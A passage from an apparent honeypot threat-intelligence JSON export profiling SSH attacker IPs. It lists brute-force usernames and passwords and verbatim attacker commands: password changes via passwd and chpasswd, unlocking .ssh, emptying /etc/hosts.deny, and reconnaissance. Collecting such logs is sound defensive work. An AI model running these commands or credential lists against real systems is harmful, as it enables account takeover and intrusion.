        "echo \"Botuser123!\\nHwHiB489KUEw\\nHwHiB489KUEw\\n\"|passwd",
        "echo \"Dheeraj123!\\neyFqI8HUmSdt\\neyFqI8HUmSdt\\n\"|passwd",
        "echo \"colin1234\\nhOy3C86aFxpA\\nhOy3C86aFxpA\\n\"|passwd",
        "echo -e \"12345678\\n8jzE9LFGeIlI\\n8jzE9LFGeIlI\"|passwd|bash",
        "echo -e \"12345678\\naYme0DTSXXuy\\naYme0DTSXXuy\"|passwd|bash",
        "echo -e \"123\\nBeAAXL8rtBY4\\nBeAAXL8rtBY4\"|passwd|bash",
        "echo -e \"Botuser123!\\nHwHiB489KUEw\\nHwHiB489KUEw\"|passwd|bash",
        "echo -e \"Dheeraj123!\\neyFqI8HUmSdt\\neyFqI8HUmSdt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 215117,
      "as_org": "HosterDaddy Private Limited",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 693,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T22:02:37.917000+00:00",
        "last_seen_30d": "2026-03-24T13:53:23.628000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 583,
        "Suricata": 110
      }
    },
    "160.22.123.78": {
      "attack_count": 544,
      "first_seen": "2026-03-05T19:24:10.150Z",
      "last_seen": "2026-03-25T13:45:31.817Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ljj",
        "j",
        "mk",
        "sit",
        "canal",
        "coder",
        "crm",
        "ehsan",
        "elaine",
        "geo",
        "ghost",
        "infra",
        "linux",
        "mahdi",
        "mukul",
        "music",
        "proxyuser",
        "remote"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345",
        "123123123",
        "Abcd!1234",
        "Admin@9000",
        "Ehsan123",
        "Elaine123",
        "Mk123!",
        "Pass@2023",
        "Sabrina123",
        "Test1234",
        "Vpsuser123!",
        "Zhy123!",
        "Zsolt123",
        "a123456@",
        "canal123",
        "coder"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n0saMoDHxV7cK\\n0saMoDHxV7cK\\n\"|passwd",
        "echo \"Mk123!\\nfZgDNMcV2lGy\\nfZgDNMcV2lGy\\n\"|passwd",
        "echo \"j\\nRTeF4sVDc05V\\nRTeF4sVDc05V\\n\"|passwd",
        "echo \"root:zUAJrcrXQKFS\"|chpasswd|bash",
        "echo \"sit\\nBu6oluejGRIW\\nBu6oluejGRIW\\n\"|passwd",
        "echo -e \"1234\\n0saMoDHxV7cK\\n0saMoDHxV7cK\"|passwd|bash",
        "echo -e \"Mk123!\\nfZgDNMcV2lGy\\nfZgDNMcV2lGy\"|passwd|bash",
        "echo -e \"j\\nRTeF4sVDc05V\\nRTeF4sVDc05V\"|passwd|bash",
        "echo -e \"sit\\nBu6oluejGRIW\\nBu6oluejGRIW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 661,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:24:10.150000+00:00",
        "last_seen_30d": "2026-03-25T13:46:33.108000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 544,
        "Suricata": 117
      }
    },
    "216.189.157.132": {
      "attack_count": 543,
      "first_seen": "2026-03-10T15:18:02.344Z",
      "last_seen": "2026-03-30T08:09:23.527Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "gits",
        "lucas",
        "arm",
        "bhavesh",
        "carlo",
        "casa",
        "clawd",
        "desktop",
        "devman",
        "ftpuser",
        "gns3",
        "harry",
        "hyun",
        "jino",
        "m",
        "mastodon",
        "nuc"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ@WSX#EDC",
        "12345",
        "12369874",
        "123Password",
        "1q2w3e4r5t6y7u8i9o0p",
        "22222222",
        "Aa_123456",
        "Ab-123456",
        "Arm123!",
        "Bhavesh123!",
        "Desktop123!",
        "Dev@123",
        "Hello@2025",
        "Lucas123",
        "Ociispth123",
        "P@sswd12#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Lucas123\\nZjs27HU2r60j\\nZjs27HU2r60j\\n\"|passwd",
        "echo \"gits123\\nLaiJutQNzbBp\\nLaiJutQNzbBp\\n\"|passwd",
        "echo \"password\\nftgdIkRE3Xep\\nftgdIkRE3Xep\\n\"|passwd",
        "echo \"root:wFYARsGDfZ8u\"|chpasswd|bash",
        "echo -e \"Lucas123\\nZjs27HU2r60j\\nZjs27HU2r60j\"|passwd|bash",
        "echo -e \"gits123\\nLaiJutQNzbBp\\nLaiJutQNzbBp\"|passwd|bash",
        "echo -e \"password\\nftgdIkRE3Xep\\nftgdIkRE3Xep\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 7489,
      "as_org": "HostUS",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 692,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T15:18:02.344000+00:00",
        "last_seen_30d": "2026-03-30T08:10:24.230000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 543,
        "Suricata": 149
      }
    },
    "43.160.246.110": {
      "attack_count": 479,
      "first_seen": "2026-03-10T01:39:32.167Z",
      "last_seen": "2026-03-28T19:56:25.370Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "b",
        "chrism",
        "apexuser",
        "appuser",
        "ashish",
        "ax",
        "clawd",
        "db2inst1",
        "deamon_root",
        "eddy",
        "elastic",
        "g",
        "java",
        "rahul",
        "reolink",
        "scanner",
        "simeon",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "0416",
        "123",
        "12345",
        "21Vianet.com",
        "654654",
        "Abc@1234567",
        "Hj@123456",
        "QAZwsx!@#456",
        "Ss123321..",
        "a1A",
        "abcxyz",
        "admin$2025",
        "asd.123456",
        "asdf#1234",
        "axpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n5fFjrcYynO78\\n5fFjrcYynO78\\n\"|passwd",
        "echo \"b123!\\nISzFxZXdltpX\\nISzFxZXdltpX\\n\"|passwd",
        "echo \"root:KYvwyVtr2Nzg\"|chpasswd|bash",
        "echo \"root:erZ9AMZHKyrV\"|chpasswd|bash",
        "echo -e \"123456\\n5fFjrcYynO78\\n5fFjrcYynO78\"|passwd|bash",
        "echo -e \"b123!\\nISzFxZXdltpX\\nISzFxZXdltpX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 605,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:39:32.167000+00:00",
        "last_seen_30d": "2026-03-28T19:57:32.131000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 479,
        "Suricata": 126
      }
    },
    "152.32.129.186": {
      "attack_count": 478,
      "first_seen": "2026-03-03T11:13:39.541Z",
      "last_seen": "2026-03-27T23:04:54.922Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "perforce",
        "mailcow",
        "sit",
        "talha",
        "uno85",
        "user3",
        "wikijs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "0000007",
        "123%qwe",
        "123456",
        "12345Qwerty",
        "123abc321",
        "1q2w3e4r%T",
        "1q2w3e4r5T",
        "1qaz2WSX3EDC",
        "212121",
        "77777777",
        "@",
        "Aaa123321",
        "Admin888",
        "Bingo@1993",
        "Linux123",
        "Server2026!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"perforce123\\n2qwbGLy8FLCs\\n2qwbGLy8FLCs\\n\"|passwd",
        "echo \"root:EMr1aBpYtvdq\"|chpasswd|bash",
        "echo \"root:QxyfKAq738TP\"|chpasswd|bash",
        "echo \"root:kmkJVHEpSMpi\"|chpasswd|bash",
        "echo -e \"perforce123\\n2qwbGLy8FLCs\\n2qwbGLy8FLCs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 606,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:13:39.541000+00:00",
        "last_seen_30d": "2026-03-27T23:05:59.796000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 478,
        "Suricata": 128
      }
    },
    "151.71.35.213": {
      "attack_count": 414,
      "first_seen": "2026-03-02T11:23:06.450Z",
      "last_seen": "2026-03-20T14:24:49.385Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "obc",
        "silvia",
        "ax",
        "git",
        "httpd",
        "ionadmin",
        "iptv",
        "liang",
        "samba",
        "splunk",
        "sysadm",
        "test",
        "tmp",
        "tv",
        "ubuntu",
        "ve",
        "ws"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "1234",
        "123456",
        "123QWEasd",
        "369369",
        "Admin@1234",
        "Beijing123",
        "Dh123456",
        "Ionadmin123",
        "P@ss123",
        "Qweasd123456",
        "Silvia123!",
        "Smart@123",
        "anubis",
        "git1234",
        "iptv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Silvia123!\\n63CFKGUwVAAg\\n63CFKGUwVAAg\\n\"|passwd",
        "echo \"password\\nbUpLHUOhM05Q\\nbUpLHUOhM05Q\\n\"|passwd",
        "echo \"root:N6T1OjRm902H\"|chpasswd|bash",
        "echo \"root:VCyH9fk6YKrM\"|chpasswd|bash",
        "echo -e \"Silvia123!\\n63CFKGUwVAAg\\n63CFKGUwVAAg\"|passwd|bash",
        "echo -e \"password\\nbUpLHUOhM05Q\\nbUpLHUOhM05Q\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Venice",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 497,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:23:06.450000+00:00",
        "last_seen_30d": "2026-03-20T14:25:53.923000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 83
      }
    },
    "197.5.145.102": {
      "attack_count": 386,
      "first_seen": "2026-03-13T01:58:08.240Z",
      "last_seen": "2026-03-17T17:08:02.598Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "business",
        "usuarioftp",
        "viewtinet",
        "ais",
        "alex",
        "asus",
        "cy",
        "ftpuser01",
        "home",
        "huang",
        "jino",
        "lh",
        "manager",
        "root",
        "student2",
        "superset",
        "trans",
        "user5"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "Home123!",
        "Huang123",
        "User5123!",
        "alex123!",
        "asus123",
        "business1234",
        "lhpass",
        "manager123!",
        "pass123",
        "qq123456",
        "qwerty",
        "student2123",
        "superset1234",
        "trans",
        "wireguard@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nQITs7vUTzm4H\\nQITs7vUTzm4H\\n\"|passwd",
        "echo \"business1234\\nXew8uslFn6rM\\nXew8uslFn6rM\\n\"|passwd",
        "echo \"password\\nSHM3wl8vmYn9\\nSHM3wl8vmYn9\\n\"|passwd",
        "echo \"qwerty\\nGuwEvNNxIMq4\\nGuwEvNNxIMq4\\n\"|passwd",
        "echo -e \"12345\\nQITs7vUTzm4H\\nQITs7vUTzm4H\"|passwd|bash",
        "echo -e \"business1234\\nXew8uslFn6rM\\nXew8uslFn6rM\"|passwd|bash",
        "echo -e \"password\\nSHM3wl8vmYn9\\nSHM3wl8vmYn9\"|passwd|bash",
        "echo -e \"qwerty\\nGuwEvNNxIMq4\\nGuwEvNNxIMq4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 453,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T01:58:08.240000+00:00",
        "last_seen_30d": "2026-03-17T17:09:03.028000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 67
      }
    },
    "103.82.21.8": {
      "attack_count": 376,
      "first_seen": "2026-03-14T19:13:30.606Z",
      "last_seen": "2026-03-21T08:59:57.292Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpd",
        "builduser",
        "kevin",
        "n",
        "astro",
        "datacenter",
        "den",
        "deployuser",
        "docker",
        "erpuser",
        "kobo",
        "lucas",
        "manish",
        "odoo17",
        "root",
        "sshuser",
        "storage",
        "user",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Admin@2025",
        "Deployuser123!",
        "Docker123!",
        "Kevin123!",
        "Sshuser123!",
        "astro123!",
        "builduser123",
        "datacenter123!",
        "denpass",
        "erpuser",
        "ftpd1234",
        "ftpdpass",
        "manish123",
        "npass",
        "odoo17",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Kevin123!\\nkTRhaWBvclKt\\nkTRhaWBvclKt\\n\"|passwd",
        "echo \"builduser123\\ni2ssKYj4pueD\\ni2ssKYj4pueD\\n\"|passwd",
        "echo \"ftpdpass\\nqpwSj7GaZ510\\nqpwSj7GaZ510\\n\"|passwd",
        "echo \"npass\\nnEFjppHYYv7m\\nnEFjppHYYv7m\\n\"|passwd",
        "echo -e \"Kevin123!\\nkTRhaWBvclKt\\nkTRhaWBvclKt\"|passwd|bash",
        "echo -e \"builduser123\\ni2ssKYj4pueD\\ni2ssKYj4pueD\"|passwd|bash",
        "echo -e \"ftpdpass\\nqpwSj7GaZ510\\nqpwSj7GaZ510\"|passwd|bash",
        "echo -e \"npass\\nnEFjppHYYv7m\\nnEFjppHYYv7m\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:13:30.606000+00:00",
        "last_seen_30d": "2026-03-21T09:01:00.691000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 64
      }
    },
    "147.50.103.212": {
      "attack_count": 337,
      "first_seen": "2026-03-09T08:55:38.222Z",
      "last_seen": "2026-03-26T17:24:26.200Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "k8s",
        "n8n",
        "rstudio",
        "admin",
        "app",
        "certftp",
        "desktop",
        "dockeradmin",
        "firewall",
        "installer",
        "kjh",
        "lzy",
        "marcelo",
        "melo",
        "one",
        "ravi",
        "recovery",
        "remote",
        "robin"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "12345678",
        "1qazxsw2",
        "Certftp123",
        "One123",
        "P@ssw0rd123",
        "Recovery123!",
        "Rstudio123!",
        "app123",
        "desktop123!",
        "n8n",
        "robin123!",
        "simone123!",
        "waf123!",
        "zhangliangpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nJRQgH8qdZq99\\nJRQgH8qdZq99\\n\"|passwd",
        "echo \"Rstudio123!\\nH5kq70WcbBvN\\nH5kq70WcbBvN\\n\"|passwd",
        "echo \"n8n\\nwK8XLH4GX9PC\\nwK8XLH4GX9PC\\n\"|passwd",
        "echo -e \"12345\\nJRQgH8qdZq99\\nJRQgH8qdZq99\"|passwd|bash",
        "echo -e \"Rstudio123!\\nH5kq70WcbBvN\\nH5kq70WcbBvN\"|passwd|bash",
        "echo -e \"n8n\\nwK8XLH4GX9PC\\nwK8XLH4GX9PC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T08:55:38.222000+00:00",
        "last_seen_30d": "2026-03-26T17:25:32.260000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 75
      }
    },
    "200.46.125.168": {
      "attack_count": 332,
      "first_seen": "2026-03-09T12:06:40.162Z",
      "last_seen": "2026-03-22T12:20:26.772Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "eprints",
        "git",
        "gits",
        "administrador",
        "ankit",
        "composer",
        "controlm",
        "emo",
        "hassan",
        "hugo",
        "justin",
        "lrendon",
        "nodejs",
        "odoo17",
        "public",
        "roman",
        "rtorrent",
        "ts3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345",
        "12345678",
        "Aa778899",
        "Abcd1234..",
        "Ankit123!",
        "Git123",
        "Lrendon123",
        "Ly123456",
        "Public",
        "Qaz123456",
        "Zw123!",
        "administradoradministrador",
        "composer@123456",
        "controlm123!",
        "emopass",
        "eprints123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Git123\\nt74jL01Fspfb\\nt74jL01Fspfb\\n\"|passwd",
        "echo \"eprints123\\nqKvSs03pEGV8\\nqKvSs03pEGV8\\n\"|passwd",
